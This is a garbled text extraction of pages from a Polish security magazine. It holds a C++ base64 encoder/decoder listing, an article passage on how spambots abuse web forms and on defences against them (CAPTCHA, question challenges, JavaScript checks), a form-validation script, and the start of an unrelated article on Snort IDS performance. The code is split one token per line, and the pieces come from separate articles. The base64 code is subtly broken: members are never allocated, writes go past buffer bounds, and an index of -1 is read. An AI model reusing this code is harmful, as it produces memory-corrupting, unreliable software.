Listing 3a. 

base64.cpp

#include 

<fstream.h>

 

#include 

<string.h>

 

#include 

<conio.h>

 

class

 

base64

 

{

 

public

:

 

   

char

 

*

CharToBin

(

int

);

 

   

char

 

BinToChar

();

 

   

base64

();

 

   ~

base64

();

 

   

void

 

SetChar

(

char

*);

 

   

char

 

*

Szyfruj

(

char

*);

 

        

char

 

*

Odszyfruj

(

char

*);

 

private

:

 

   

char

 

*

chars

;

  

 //wartosc bitowa znaku 

   

char

 

*

znaki

;

  

 //24-bitowa wartosc 3 znakow 

   

char

 

*

zakodowane

;

  

 //znaki wyjsciowe 

   

char

 

tablica

[

64

];

 

}

;

 

//destruktor 

base64

::

~

base64

()

 

{

 

delete

 

znaki

;

 

delete

 

chars

;

 

}

 

//metoda zapisujaca wartosc binarna do obiektu 
//do dalszej obrobki 

void

 

base64

::

SetChar

(

char

 

*

_liczba

)

 

{

strcpy

(

chars

,

_liczba

);

}

 

//konstruktor - ustala tablice kodowania 

base64

::

base64

()

 

{

 

strcpy

(

tablica

,

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst

uvwxyz0123456789+/="

);

 

char

 

*

chars

=

new

 

char

[

7

];

 

char

 

*

znaki

=

new

 

char

[

24

];

 

memset

(

chars

,

NULL

,

strlen

(

chars

)-

1

);

 

memset

(

znaki

,

NULL

,

strlen

(

znaki

)-

1

);

 

}

 

//metoda zamieniajaca znak na jego zapis binarny 

char

 

*

base64

::

CharToBin

(

int

 

liczba

)

 

{

 

int

 

tmp

=

0

;

 

for

(

int

 

i

=

7

;

i

>-

1

;

i

--)

 

   

{

 

   

tmp

=

liczba

%

2

;

 

   

if

(

tmp

==

1

)

 

chars

[

i

]=

'1'

;

 

   

else

   

chars

[

i

]=

'0'

;

 

   

tmp

=

0

;

 

   

liczba

=

liczba

/

2

;

 

   

}

 

chars

[

8

]=

'\0'

;

 

return

(

chars

);

 

}

 

//metoda zamieniajaca zapis binarny na znak 

char

 

base64

::

BinToChar

()

 

{

 

int

 

tmp

=

0

;

 

int

 

mnoznik

=

256

;

 

int

 

liczba

=

0

;

 

for

(

int

 

i

=-

1

;

i

<

8

;

i

++)

 

   

{

 

   

liczba

=(

chars

[

i

]-

48

)*

mnoznik

;

 

   

tmp

=

tmp

+

liczba

;

 

   

mnoznik

=

mnoznik

/

2

;

 

   

}

 

return

 

tmp

;

 

}

 

//metoda odszyfrowujaca, zwracajaca 3 odkodowane litery 

char

 

*

base64

::

Odszyfruj

(

char

 

*

_a

)

 

{

 

char

 

*

odkodowane

=

new

 

char

[

4

];

 

memset

(

odkodowane

,

NULL

,

strlen

(

odkodowane

)-

1

);

 

//zamiana 4 znakow na zapis binarny 

char

 

*

a

=

new

 

char

[

9

];

 

char

 

*

b

=

new

 

char

[

9

];

 

char

 

*

c

=

new

 

char

[

9

];

 

char

 

*

d

=

new

 

char

[

9

];

 

//wyzerowanie tablic a,b,c,d 

memset

(

a

,

NULL

,

strlen

(

a

)-

1

);

 

memset

(

b

,

NULL

,

strlen

(

b

)-

1

);

 

memset

(

c

,

NULL

,

strlen

(

c

)-

1

);

 

memset

(

d

,

NULL

,

strlen

(

d

)-

1

);

 

//petla zwracajaca index tablicy base64 w zaleznosci od znaku 

for

(

int

 

i

=

0

;

i

<

65

;

i

++)

 

   

{

 

   

if

(

tablica

[

i

]==

_a

[

0

])

 

      

strcpy

(

a

,

CharToBin

(

i

));

 

   

if

(

tablica

[

i

]==

_a

[

1

])

 

      

strcpy

(

b

,

CharToBin

(

i

));

 

   

if

(

tablica

[

i

]==

_a

[

2

])

 

      

strcpy

(

c

,

CharToBin

(

i

));

 

   

if

(

tablica

[

i

]==

_a

[

3

])

 

      

strcpy

(

d

,

CharToBin

(

i

));

 

   

}

 

background image

ATAK

46

 

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

47

 

HAKIN9 

6/2008

Listing 3b. 

base64.cpp

//usuniecie dwoch najbardziej znaczacych bitow i utworzenie 
//24-znakowego lancucha bitowego 

char

 

*

 

tmp

=

new

 

char

[

33

];

 

memset

(

tmp

,

NULL

,

strlen

(

tmp

)-

1

);

 

for

(

i

=

0

;

i

<

32

;

i

++)

 

   

{

 

   

if

(

i

<

6

)

 

      

tmp

[

i

]=

a

[

i

+

2

];

 

   

if

((

i

>

7

)&&(

i

<

14

))

 

      

tmp

[

i

-

2

]=

b

[

i

-

6

];

 

   

if

((

i

>

15

)&&(

i

<

22

))

 

      

tmp

[

i

-

4

]=

c

[

i

-

14

];

 

   

if

((

i

>

23

)&&(

i

<

32

))

 

      

tmp

[

i

-

6

]=

d

[

i

-

22

];

 

   

}

 

tmp

[

32

]=

'\0'

;

 

//podzial lancucha na trzy osmiobitowe lanuchy i zamiana ich 

na znaki 

for

(

i

=

0

;

i

<

24

;

i

++)

 

   

{

 

   

if

(

i

<

8

)

 

      

a

[

i

]=

tmp

[

i

];

 

   

if

((

i

>

7

)&&(

i

<

16

))

 

      

b

[

i

-

8

]=

tmp

[

i

];

 

   

if

((

i

>

15

)&&(

i

<

24

))

 

      

c

[

i

-

16

]=

tmp

[

i

];

 

        

}

 

a

[

8

]=

'\0'

;

 

b

[

8

]=

'\0'

;

 

c

[

8

]=

'\0'

;

 

//zlaczenie trzech liter w lancuch i zwrocenie do programu 

SetChar

(

a

);

 

odkodowane

[

0

]=

BinToChar

();

 

SetChar

(

b

);

 

odkodowane

[

1

]=

BinToChar

();

 

SetChar

(

c

);

 

odkodowane

[

2

]=

BinToChar

();

 

odkodowane

[

3

]=

'\0'

;

       

return

 

odkodowane

;

 

}

 

//metoda szyfrujaca zwracajaca zakodowane 4 litery 

char

 

*

base64

::

Szyfruj

(

char

 

*

_a

)

 

{

 

strcpy

(

znaki

,

CharToBin

(

_a

[

0

]));

 

strcat

(

znaki

,

CharToBin

(

_a

[

1

]));

 

strcat

(

znaki

,

CharToBin

(

_a

[

2

]));

 

char

 

*

zakodowane

=

new

 

char

[

4

];

 

memset

(

zakodowane

,

NULL

,

strlen

(

zakodowane

)-

1

);

 

//bloki pamieci dlugosci 6 bitow – indeksy w tablicy base64 

char

 

*

blok1

=

new

 

char

[

9

];

 

char

 

*

blok2

=

new

 

char

[

9

];

 

char

 

*

blok3

=

new

 

char

[

9

];

 

char

 

*

blok4

=

new

 

char

[

9

];

 

 

//wyzerowanie blokow 

memset

(

blok1

,

NULL

,

strlen

(

blok1

)-

1

);

 

memset

(

blok2

,

NULL

,

strlen

(

blok2

)-

1

);

 

memset

(

blok3

,

NULL

,

strlen

(

blok3

)-

1

);

 

memset

(

blok4

,

NULL

,

strlen

(

blok4

)-

1

);

 

//uzupelnienie blokow dwoma znaczacymi zerami 

blok1

[

0

]=

'0'

;

blok1

[

1

]=

'0'

;

 

blok2

[

0

]=

'0'

;

blok2

[

1

]=

'0'

;

 

blok3

[

0

]=

'0'

;

blok3

[

1

]=

'0'

;

 

blok4

[

0

]=

'0'

;

blok4

[

1

]=

'0'

;

 

//podzial lancucha binarnego na 4 podlancuchy dlugosci 6 bitow 

for

(

int

 

i

=

0

;

i

<

24

;

i

++)

 

   

{

 

   

if

(

i

<

6

)

 

      

{

blok1

[

i

+

2

]=

znaki

[

i

];

 

      

blok1

[

8

]=

'\0'

;

}

 

   

else

 

if

((

i

>

5

)&&(

i

<

12

))

 

      

{

blok2

[

i

-

4

]=

znaki

[

i

];

 

      

blok2

[

8

]=

'\0'

;

}

 

   

else

 

if

((

i

>

11

)&&(

i

<

18

))

 

      

{

blok3

[

i

-

10

]=

znaki

[

i

];

 

      

blok3

[

8

]=

'\0'

;

}

 

   

else

 

if

((

i

>

17

)&&(

i

<

24

))

 

      

{

blok4

[

i

-

16

]=

znaki

[

i

];

 

                

blok4

[

8

]=

'\0'

;

}

 

   

}

 

//podstawienie znakow z tabeli base64 wg 4 indeksow obliczonych 

z blokow 1-4 

int

 

a

,

b

,

c

,

d

;

 

SetChar

(

blok1

);

 

a

=

BinToChar

();

 

SetChar

(

blok2

);

 

b

=

BinToChar

();

 

SetChar

(

blok3

);

 

c

=

BinToChar

();

 

SetChar

(

blok4

);

 

d

=

BinToChar

();

 

//zlaczenie w calosc 

zakodowane

[

0

]=

tablica

[

a

];

 

zakodowane

[

1

]=

tablica

[

b

];

 

zakodowane

[

2

]=

tablica

[

c

];

 

zakodowane

[

3

]=

tablica

[

d

];

 

zakodowane

[

4

]=

'\0'

;

 

return

 

zakodowane

;

 

}

 

//czesc glowna programu 

void

 

main

(

void

)

 

{

 

clrscr

();

 

//base64 *a=new base64; 
//cout<<a->Szyfruj("xyz")<<endl; 
//delete a; 

  

base64

 

*

b

=

new

 

base64

;

 

cout

<<

b

->

Odszyfruj

(

"eHl6"

);

 

delete

 

b

;

 

}

background image

ATAK

48

 

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

49

 

HAKIN9 

6/2008

Dwoma serwisami, które oferują tego 

typu usługę, są Antyspam.pl i Spam 
Poison. Warto podawać adresy tych 
dwóch stron w linkach na np. swoich 
blogach czy też w podpisie na forum 
dyskusyjnym. Możemy oczywiście 
bezpiecznie wejść na obie strony. 
Zobaczymy ogromne listy adresów e-
mailowych. W przypadku Antyspam.pl 
są one generowane losowo, natomiast 
Spam Poison podaje adresy używane 
przez spamerów. Jedyną wadą jest fakt, 
że domeny tych serwisów mogą być w 
łatwy sposób dodane do czarnych list w 
spamerskich kombajnach. Ale z czasem i 
na to znajdzie się rozwiązanie.

Największą plagą Internetu jest spam 

i to nie tylko ten w postaci e-maili. W 
przypadku aplikacji internetowych możemy 
się z nim spotkać wszędzie tam, gdzie 
użytkownicy mają możliwość dodawania 
własnej treści do serwisu. Może to mieć 
miejsce w przypadku forów internetowych 
czy komentarzy do treści zawartych na 
stronie. W przypadku aplikacji internetowych 
zadaniem spamu jest wstawienie linków 
prowadzących do pozycjonowanego 
serwisu wszędzie tam, gdzie jest to 
możliwe. Powodem takiego stanu rzeczy 
jest sposób działania wyszukiwarek 
internetowych. Zdecydowana większość z 
nich promuje strony na podstawie ilości 
linków, które do nich prowadzą.

Atak

Działania spambotów można podzielić 
na dwa typy. Pierwszy odnosi się 
do spamowania konkretnej aplikacji 
(np. komentarzy systemu blogowego 
WordPress), drugi zaś jest bardziej 
uniwersalny i polega na spamowaniu 
każdego dostępnego formularza.

W pierwszym przypadku dane 

wysyłane są bezpośrednio pod adres 
URL odpowiadający za ich zapis. Nazwy 
zmiennych pobierane są z domyślnej 
instalacji, dodatkowo uwzględniane są ich 
najpopularniejsze odmiany. Przykładowo, 
jeśli domyślna nazwa zmiennej 

odpowiadającej za nick użytkownika to 
login, bot w celu optymalizacji swojego 
działania może też uwzględnić popularne 
modyfikacje nazwy tej zmiennej, np. 
usernamenickuser.

Działanie uniwersalnych spambotów 

jest bardziej rozbudowane. Nie wysyłają 

one danych bezpośrednio do pliku 
odpowiedzialnego za zapis, ale parsują 
stronę w poszukiwaniu formularzy. Po ich 
znalezieniu wypełniają pola, które zawiera 
dany formularz, a następnie wysyłają go 
pod adres z parametru action znacznika 

<form />

.

Rysunek 1. 

Analiza ataków na świecie 

Rysunek 2.

 Analiza spamu w ciągu ostatnich 100 dni

W Sieci:

•   http://www.commtouch.com/Site/Home/

home.asp

•   http://wikipedia.org

background image

ATAK

48

 

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

49

 

HAKIN9 

6/2008

Obrona

Pomimo, że skuteczna walka ze 
spamem staje się coraz trudniejsza, 
istnieją metody, które utrudniają im 
pracę. Obecnie najpopularniejszą 
techniką obrony przed spamem są 
obrazki z tokenami (captcha). Metoda 
ta jest skuteczna przy zastosowaniu 
różnorodności wyglądu obrazków. 
Przykładem stosunkowo dobrze 
stworzonego mechanizmu captcha 
jest ten wykorzystywany przez bramkę 
SMS jednego z operatorów sieci. 
Stosuje on różne kroje czcionki, pozycje 
wyświetlania tokenu, dodaje losowe 
szumy tła, a token przyjmuje zamiast 
losowo wygenerowanego ciągu znaków 
wyrazy ze słownika. Mimo wysokiej 
skuteczności tej metody ma ona jedną 
znaczącą wadę. Utrudnia ona często 
dostęp nie tylko spambotom, ale także 
zwykłym użytkownikom. Dzieje się tak 
na skutek słabej czytelności tokenów 
oraz zbyt dużej inwazyjności – w końcu 
mamy utrudniać działanie botom, a nie 
użytkownikom. 

W przypadku captcha bot może 

próbować odczytać kod analizując 
poszczególne piksele obrazka. 
Rozwiązaniem tego problemu jest odmiana 
poprzedniej metody, która zamiast 
przedstawiania tokenów graficznych 
zadaje użytkownikom pytania. Rodzaj pytań 
jest zależny od programisty tworzącego 
zabezpieczenie. Najczęściej spotykane są 
pytania o stolice państwa oraz działania 
arytmetyczne. Stosuje się np. prośbę o 
podanie wyniku nieskomplikowanego 
działania, jak (2+2) = ??

Podczas dodawania przez 

użytkowników treści do serwisu możemy 
być pewni dwóch akcji – ruchu myszką 
oraz naciśnięcia klawisza. Wykorzystując 
te zdarzenia, przy pomocy JavaScript 
możemy napisać kod, który skutecznie 
odróżni użytkownika od bota. Wszystko 
dzięki temu, że bardzo mała liczba botów 
radzi sobie z tą technologią, a te, które 
ją obsługują – nie wykonają tych akcji. 
W przypadku uniwersalnych robotów
po wywołaniu zdarzenia onkeypress lub 
onmousemove skrypt może podpiąć pod 
właściwość action formularza właściwy 
adres, pod który mają zostać wysłane 
dane. Prócz wyżej przedstawionych 
metod warto wspomnieć jeszcze 

o dwóch, które są dość proste do 
wdrożenia. Pierwszą z nich jest 
umieszczenie formularza wewnątrz ramki. 
Dzięki temu robot parsujący kod strony 
nie znajdzie w nim formularza. Drugim 
sposobem jest przesyłanie danych 
przy pomocy AJAXa. Ciekawostką jest 
serwis który analizuje ruchy spamu 
i informacje o pojawiających się 
wirusach którego screeny zamieściłem 
w artykule (Rysunek 1. i 2.) http://
www.commtouch.com/Site/Resources/
map.asp

Podsumowanie

Mimo, że techniki spamowania stają się 
coraz bardziej wyrafinowane, istnieje 
wiele sposobów umożliwiających 
skuteczną obronę przed nimi. Im bardziej 
technika jest innowacyjna i rzadziej 
stosowana, tym większe daje szanse 
na skuteczne zablokowanie działania 
spambotów.

Rafał Podsiadły

Miłośnik wiedzy i nowych technologii – a wszystko, co 

wartościowe, trzyma w głowie.

Kontakt z autorem: rafalpa@interia.pl

Listing 4. 

Skrypt aktywacyjny do formularza

<

script language

=

"javascript"

>

 

function checkCheckBox(f)

{

 

// sprawdzamy czy zostal zaznaczony przycisk
// jesli nie, to wyswietlamy komunikat

if

 (f.pp.checked 

==

 false ) 

{

 

          alert(

'Musisz się zgodzić ....'

)

;

 

          

return

 false

;

 

}

 

// sprawdzamy poprawnosc pola email 

if

 (f.email.value

==

''

{

 

          alert(

'Podaj adres'

)

;

 

          

return

 false

;

 

}

 

// sprawdzamy, czy format podanego adresu e-mail jest poprawny 

if

 ( ((f.email.value.indexOf(

'@'

,

1

))

==

-

1

)

||

(f.email.value.indexOf(

'.'

,

1

))

==

-

1

 ) 

{

 

          alert(

'Popraw adres e-mail'

)

;

 

          

return

 false

;

 

}

 

// sprawdzamy, czy uzytkownik podal imie 

if

 (f.name.value

==

''

{

 

          alert(

'Nie podałeś/aś swojego imienia'

)

;

 

          

return

 false

;

 

}

 

// jesli wszystko jest OK, to mozemy wyslac formularz 

 

else

   

{

 

        

return

 true

;

 

}

 

}

 

</

script

>

 

Sam formularz implementujemy następująco:

<

form name

=

"sub"

 method

=

"post"

 action

=

"ADRES_SKRYPTU"

 

onsubmit

=

"

return

 checkCheckBox(

this

)"

>

 

Słownik

SpyBot – jest to słowo połączone z dwóch wyrazów Spyware Bot a więc w połączeniu określają 
inteligentne programy naśladujące pracę człowieka, które przeszukują internet, potrafią logować 
się na stronach www, zakładać konta. Z niegroźnych odmian tego typu kodu są roboty Google 
przeszukujące sieć i index'ujące stronę www.

CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart

– rodzaj techniki stosowanej jako zabezpieczenie w formularzach na stronach WWW. Dla przesłania 
danych konieczne jest przepisanie treści z obrazka (zazwyczaj losowo dobranych znaków bądź 
krótkiego wyrazu). Obrazek ten jest prosty do odczytania przez człowieka, jednakże odczytanie go 
przez komputer jest, przynajmniej w założeniu, bardzo trudne.

Odmianą CAPTCHA jest system Asirra (en) - na którym należy spośród zdjęć różnych zwierząt 

wybrać np. kota. źródło wikipedia.org

background image

50

 

OBRONA

HAKIN9 6/2008

W

ykrywanie włamań jest procesem 
identyfikowania i reagowania na 
szkodliwą działalność skierowaną 

przeciw zasobom informatycznym i sieciowym. 
Narzędzia spełniające wyżej wymienione funkcje 
nazywają się Systemami Wykrywania Włamań 
(ang. Intrusion Detection Systems).

Podziału systemów wykrywania włamań można 

dokonać na wiele sposobów. Po pierwsze może 
to być podział ze względu na źródło zdarzenia 
zewnętrznego, a więc umiejscowienie generatora 
zdarzeń. Możliwe jest także zastosowanie podziału 
ze względu na sposób analizy danych. Systemy 
IDS można także rozróżniać ze względu na rodzaj 
bazy danych oraz sposób działania jednostki 
reagującej. Nas jednak interesować będzie podział 
opisany w dwóch pierwszych przypadkach.

Ze względu na źródło zdarzeń zewnętrznych 

wyróżniamy następujące typy systemów 
wykrywania włamań:

•   systemy oparte na hoście (ang. host-based),
•   systemy oparte na sieci (ang. network-based).

Z kolei ze względu na sposób analizy danych 
systemy IDS możemy podzielić na:

•   systemy wykrywające anomalie,
•   systemy wykrywające nadużycia.

System Snort jest sieciowym systemem 
wykrywania włamań opartym o sygnatury. 

MARCIN KLAMRA

Z ARTYKUŁU 

DOWIESZ SIĘ

jak liczba oraz rodzaje 

stosowanych reguł wpływają na 

wydajność systemu Snort,

jak tworzyć reguły dla systemu 

Snort, aby nie powodowały 

znacznego spadku wydajności 

systemu,

jak zmienia się wydajność 

systemu Snort wraz z 

pojawianiem się nowych jego 

wersji,

jaką wydajnością charakteryzuje 

się filtr pakietów iptables w 

porównaniu z systemem Snort.

CO POWINIENEŚ 

WIEDZIEĆ

co to jest system wykrywania 

włamań,

jakie wyróżniamy typy systemów 

wykrywania włamań i jakie są 

ich podstawowe cechy,

czym jest sygnatura systemu IDS,

powinieneś znać podstawy 

działania sieci komputerowych.

Zgodnie z zaprezentowanym wyżej podziałem jest 
więc systemem opartym na sieci, wykrywającym 
nadużycia ze wszystkimi tego konsekwencjami.

Systemy IDS oparte na sieci

Systemy tego typu wykrywają ataki 
przechwytując i analizując ruch w sieci. Dzięki 
temu jeden system może monitorować działanie 
i chronić wiele maszyn w danym segmencie 
sieci. Jakość tej ochrony oraz możliwa liczba 
chronionych maszyn w dużej mierze zależy od 
poprawnego umiejscowienia sensora, czym tutaj 
nie będę się zajmować.

Spotyka się różne konfiguracje pracy 

sieciowego systemu IDS. Może to być system 
zbudowany przy pomocy tylko jednej maszyny 
(takim przypadkiem zajmuję się w tym artykule), 
która wypełnia zadania przechwytywania 
ruchu sieciowego, jego analizowania, 
składowania i reagowania na ataki. Istnieje 
także możliwość rozproszenia pracy poprzez 
zaimplementowanie kilku sensorów w sieci. 
Sensory te mogą przekazywać informacje do 
jakiejś centralnej jednostki, która zajmować się 
może składowaniem, analizą i korelacją danych 
zebranych przez poszczególne sensory.

Dedykowane maszyny, które pracują jako 

sensory sieciowego systemu wykrywania 
włamań, jest łatwo zabezpieczyć. Wystarczy 
zastosować ukryty tryb pracy (ang. stealth), 
co sprawia, że atakujący ma dużą trudność z 
wykryciem i zidentyfikowaniem takiego systemu. 

Stopień trudności

Analiza 

systemu 

SNORT

Konieczność analizy wszystkich pakietów przesyłanych w sieci 

przez system wykrywania włamań jest niezwykle istotna. Zgubienie 

choćby jednego pakietu może doprowadzić do sytuacji niewykrycia 

ataku. Należy w taki sposób konfigurować system wykrywania 

włamań, aby do tego typu sytuacji nie dopuścić.

background image

51

 

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

HAKIN9 

6/2008

Temat ten nie wchodzi jednak w zakres 
artykułu. 
Zalety systemów IDS opartych na sieciach:

•   kilka dobrze umiejscowionych 

sensorów sieciowego systemu 
wykrywania włamań jest w stanie 
monitorować dużą sieć,

•   wdrożenie systemu nie ingeruje w 

dotychczasową strukturę sieci, ani w 
jej działanie; sieciowe systemy IDS są 
często pasywnymi urządzeniami, które 
badają ruch sieciowy bez ingerowania 
w jego przebieg,

•   systemy takie można dobrze 

zabezpieczyć, a nawet sprawić, by nie 
były widzialne dla intruzów,

•   możliwe jest wykrywanie ataków 

przeprowadzanych przy użyciu sieci, jak 
również przeprowadzanych przeciwko 
sieci jako całości, np. skanowania sieci.

Wady systemów IDS opartych na sieciach:

•   sieciowe systemy wykrywania włamań 

posiadają pewne ograniczenia (ich 
zaprezentowaniem zajmę się w 
dalszej części artykułu) dotyczące 
przetwarzania całego ruchu w 
sieciach o dużej przepustowości, co 
może prowadzić do niemożności 
wykrycia ataku przeprowadzanego w 
momencie wysokiego nasilenia ruchu 
sieciowego (który często towarzyszy 
przeprowadzaniu ataków pewnych 
typów),

•   nie potrafią analizować ruchu 

szyfrowanego, ponieważ nie znają 
kluczy sesyjnych; pojawia się problem 
zaufanej trzeciej strony,

•   brakuje możliwości stwierdzenia, 

czy atak zainicjowany przez intruza 
powiódł się, czy też nie; wynika to z 
analizy jedynie ruchu sieciowego, w 
którym skutki włamania nie muszą się 
objawić,

•   podatność na ataki typu wstawienia, 

odrzucenia, ataki TTL.

Systemy IDS

oparte na hoście

Systemy IDS oparte na hoście 
przetwarzają informacje dotyczące 
jednego systemu. Najczęściej są to 
informacje dotyczące pewnej konkretnej 
maszyny. Ten dogodny punkt pracy 
systemu wykrywania włamań pozwala 
na analizę charakteryzującą się dużą 
niezawodnością i dokładnością. 
Możliwe jest dokładne określenie, które 
procesy i którzy użytkownicy biorą 
udział w przeprowadzaniu danego 
ataku w systemie. W przeciwieństwie do 
sieciowych systemów IDS, systemy oparte 
na hoście mogą także badać efekt ataku. 
Są one bowiem w stanie bezpośrednio 
monitorować systemy plików oraz procesy 
na atakowanej maszynie.

Tego typu systemy wykorzystują jako 

źródło informacji przede wszystkim pliki 
dziennika systemu operacyjnego. Znajdują 
się tam dane pochodzące zarówno od 
jądra systemu operacyjnego, często 
obszerne i szczegółowe, jak również 

dane pochodzące z innych źródeł (np. od 
konkretnych aplikacji). 
Zalety systemów IDS opartych na hoście:

•   potrafią dokładnie pokazać, co zrobił 

intruz – można stwierdzić, jakie wydał 
komendy, jakie pliki otwierał,

•   posiadają zdolność do monitorowania 

lokalnych dla danego hosta zdarzeń,

•   mogą pracować w środowisku, w 

którym ruch sieciowy jest szyfrowany.

Wady systemów opartych na hoście:

•   są trudne w zarządzaniu, ponieważ 

każdy z systemów wykrywania włamań 
musi zostać skonfigurowany oddzielnie,

•   mogą zostać unieszkodliwione 

podczas ataku, ponieważ stanowią 
część atakowanego systemu,

•   wykorzystują moc obliczeniową 

maszyny, którą ochraniają – a co 
za tym idzie, obniżają jej użyteczną 
wydajność.

Systemy IDS 

wykrywające anomalie

Systemy te identyfikują nienormalny, 
niezwykły sposób zachowania (anomalie) 
w sieci lub na danym hoście. Ich praca 
opiera się na podstawowym założeniu, 
iż ataki generują inne zachowania niż 
normalna praca i dzięki temu mogą 
być wykryte. Budowane są profile 
reprezentujące normalne zachowania 
użytkowników, hostów czy połączeń 
sieciowych. Następnie zbierane są dane 
o zachowaniu w określonej chwili, a 

Rysunek 1. 

Wydajność systemu Snort dla 

standardowego zestawu sygnatur

Rysunek 2. 

Wydajność systemu Snort dla 

zbioru sygnatur otwartych

Rysunek 3. 

Wydajność systemu Snort dla zbioru sygnatur o stałym porcie

background image

OBRONA

52

 

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

53

 

HAKIN9 

6/2008

przy wykorzystaniu różnych sposobów 
pomiaru stwierdza się, czy monitorowana 
działalność odbiega od normy.

Metody pomiarów mogą być różne. 

Można mierzyć wartość zasobów 
zużywanych przez użytkownika czy proces 
(np. liczba otwartych plików, niepoprawnych 
zalogowań do systemu itp.). Przekroczenie 
pewnej wartości granicznej może oznaczać 
nienormalną sytuację.

Jako metodę pomiaru można także 

stosować analizę statystyczną, zarówno 
parametryczną jak i nieparametryczną. Przy 
analizie statystycznej mamy do czynienia 
z przypadkiem, kiedy rozkład zdarzeń musi 
mieścić się w pewnym z góry określonym 
zakresie. W innej sytuacji rozkład badanych 
wielkości musi być podobny do rozkładu 
wielkości, które przyjęte zostały jako zbiór 
odniesienia. Może on się zmieniać wraz z 
upływem czasu. Stosowane są także inne 
metody oparte na sieciach neuronowych, 
algorytmach genetycznych czy modelu 
systemów odpornościowych. 
Zalety systemów IDS wykrywających 
anomalie:

•   systemy te wykrywają niezwykłe 

zachowania, w związku z tym posiadają 
zdolność wykrywania nowych, 
nieznanych do tej pory ataków,

•   wynikiem ich działania może być 

informacja, która w dalszej kolejności 
zostanie poddana analizie systemu 
działającego na zasadzie wykrywania 
nadużyć; może to podnieść skuteczność 
systemu, a w szczególności ograniczyć 
liczbę fałszywych alarmów.

Wady systemów IDS wykrywających 
anomalie:

•   często generują dużą liczbę alarmów 

spowodowaną nieprzewidywalnością 
zachowań użytkowników czy sieci,

•   wymagają uczenia – takiemu 

systemowi trzeba dostarczyć zbioru 
uczącego, na podstawie którego 
utworzone zostaną bazowe profile; zły 
zbiór uczący uniemożliwi późniejszą 
poprawną pracę systemu.

Systemy IDS 

wykrywające nadużycia

Systemy te wyszukują w monitorowanym 
środowisku zdarzeń lub ich grup, które 
zdefiniowane zostały jako zabronione. Są 
to opisy znanych ataków. Tak zdefiniowane 
reguły nazywają się sygnaturami ataku. 
W związku z tym faktem opisywane 
rozwiązania bywają nazywane także 
systemami opartymi na sygnaturach. 
Najczęściej spotykanym podejściem 
do tej techniki wykrywania włamań jest 
porównywanie danych otrzymanych od 
generatora zdarzeń do poszczególnych 
wzorców (sygnatur).
Zalety systemów IDS wykrywających 
nadużycia:

•   są bardzo efektywne w wykrywaniu 

ataków, a przy tym generują niewielką 
liczbę fałszywych alarmów,

•   potrafią szybko i niezawodnie 

diagnozować użycie specyficznego 
narzędzia ataku lub techniki, co może 
być pomocne przy podejmowaniu 
odpowiednich działań przez 
administratora,

•   nie wymagają od osoby 

administrującej dużej wiedzy, sygnatury 
ataków są powszechnie dostępne i nie 
ma konieczności tworzenia własnych 
(aczkolwiek jest to w wielu przypadkach 
wysoce wskazane).

Wady systemów IDS wykrywających 
nadużycia:

•   potrafią wykrywać tylko ataki, które 

już są znane; sygnatura ataku musi 
znajdować w bazie wiedzy,

•   wzrost liczby sygnatur powoduje 

obniżenie wydajności systemu (tym 
problemem zajmę się dokładnie w 
dalszej części artykułu).

Sygnatury

Tworzone sygnatury powinny spełniać 
kilka warunków. Powinny generować jak 
najmniejszą (najlepiej zerową) liczbę 
fałszywych alarmów. Sytuację taką można 
osiągnąć poprzez tworzenie sygnatur 
jednoznacznie opisujących atak, przy 
użyciu jak największej liczby szczegółów, 
ze szczególnym naciskiem na detale 
opisujące charakterystykę chronionego 
środowiska. Kolejną istotną kwestią jest 
tworzenie wydajnych sygnatur, a więc takich, 
które nie powodują znacznego wzrostu 
zapotrzebowania na moc obliczeniową 
systemu wykrywania włamań. Tworzeniem 
wydajnych sygnatur oraz analizą systemu 
Snort pod kątem jego wydajności zajmę się 
w dalszej części artykułu.

Badanie

wydajności systemu Snort

Badaniom wydajnościowym został 
poddany system Snort w wersji 
2.8.0.1 – najnowszej dostępnej w 
momencie pisania tego artykułu. 
Dla porównania przytoczę tutaj także 
wyniki publikowanych już wcześniej 
badań przeprowadzonych dla Snorta w 
wersji 1.9.1. Pozwoli to na porównanie 

Rysunek 4. 

Wydajność systemu Snort dla 

zestawu sygnatur o zmiennym porcie 

Rysunek 5. 

Standardowe reguły Snorta, ruch o zmiennym porcie docelowym

background image

OBRONA

52

 

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

53

 

HAKIN9 

6/2008

wydajności różnych wersji systemu Snort 
oraz na pokazanie jego rozwoju.

Aby zapewnić powtarzalność 

kolejnych pomiarów, analiza wydajności 
systemu Snort przeprowadzana była 
z wykorzystaniem ruchu sieciowego 
zapisanego do pliku w formacie tcpdump. 
Plik ten miał rozmiar 1GB i zawierał ruch 
przechwycony na wejściu do normalnie 
działającej sieci. Nie był ruchem 
wymuszonym, lecz ruchem naturalnym dla 
tej sieci. 

W trakcie wykonywania pomiarów 

wydajności na wykorzystywanym 
komputerze nie były wykonywane inne 
zadania, a komputer odłączony był od 
sieci – tak, aby zapewnić niezakłócone 
warunki pracy. Każdy pomiar wykonany 
został dziesięciokrotnie, a na poniższych 
Rysunkach prezentowana jest wartość 
średnia otrzymanych wyników. 

Metodyka wykonywania pomiarów dla 

systemu Snort w wersji 1.9.1 była podobna. 
Inne były jedynie: wielkość pliku testowego 
oraz parametry komputera wykorzystanego 
do przeprowadzenia testów. Niemniej 
jednak porównanie pozwoli na 
wyciągnięcie kilku ciekawych wniosków.

Analiza przeprowadzona została dla 

kilku zbiorów sygnatur. Dobór rodzaju 
sygnatur pozwolił na pokazanie pewnych 
interesujących cech systemu Snort.

Pierwszym przeprowadzonym 

badaniem była analiza wydajności systemu 
Snort z wykorzystaniem standardowych 
sygnatur systemu. W momencie pisania 
artykułu dla systemu Snort dostępne 
były 9032 reguły. System Snort w wersji 
1.9.1 dysponował zbiorem 1847 reguł. Na 
Rysunku 1. przedstawiony jest czas analizy 
pliku z zapisanym ruchem sieciowym 
w funkcji liczby reguł wykorzystywanych 
w analizie. W przypadku systemu Snort 
w wersji 2.8.0.1 liczba reguł zwiększana 
była co 1000, dla systemu w wersji 1.9.1 
wartość ta wynosiła 100. 
